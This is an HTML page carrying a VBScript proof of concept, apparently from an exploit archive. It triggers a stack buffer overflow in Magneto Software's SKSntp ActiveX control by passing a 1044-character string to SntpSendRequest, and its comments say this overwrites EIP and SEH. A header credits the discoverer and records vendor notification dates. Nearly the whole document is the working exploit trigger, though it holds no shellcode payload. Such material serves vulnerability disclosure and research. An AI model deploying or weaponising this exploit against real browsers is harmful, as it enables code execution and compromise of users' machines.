26 lines
No EOL
957 B
HTML
26 lines
No EOL
957 B
HTML
<html>
|
|
<object classid='clsid:A3010B66-C229-11D5-B7BA-00C0F02DFC67' id='target' /></object>
|
|
<script language='vbscript'>
|
|
'Magneto Software SNTP ActiveX SntpSendRequest BOF POC
|
|
'Discovered by: s4squatch
|
|
'Site: www.securestate.com
|
|
'www: http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
|
|
'Download: http://www.magnetosoft.com/downloads/sksntp_setup.exe
|
|
'Vendor Notified: 02/02/10 --> NO RESPONSE
|
|
'Vendor Notified: 02/11/10 --> NO RESPONSE
|
|
'Vendor Notified: 02/17/10 --> NO RESPONSE
|
|
'Published 04/13/10
|
|
'File Name = SKSntp.ocx
|
|
'www: http://www.magnetosoft.com/products/sksntp/sksntp_features.htm
|
|
'Download: http://www.magnetosoft.com/downloads/sksntp_setup.exe
|
|
'Function SntpSendRequest ( ByVal bstrSntpServer As String , ByVal bSynchronizeClock As Integer ) As Long
|
|
'memberName = "SntpSendRequest"
|
|
'progid = "SKSNTPLib.SKSntp"
|
|
|
|
'1044 overwrites EIP, ESP, ECX, EBP, SEH
|
|
|
|
buff = String(1044, "A")
|
|
|
|
target.SntpSendRequest buff ,1
|
|
|
|
</script> |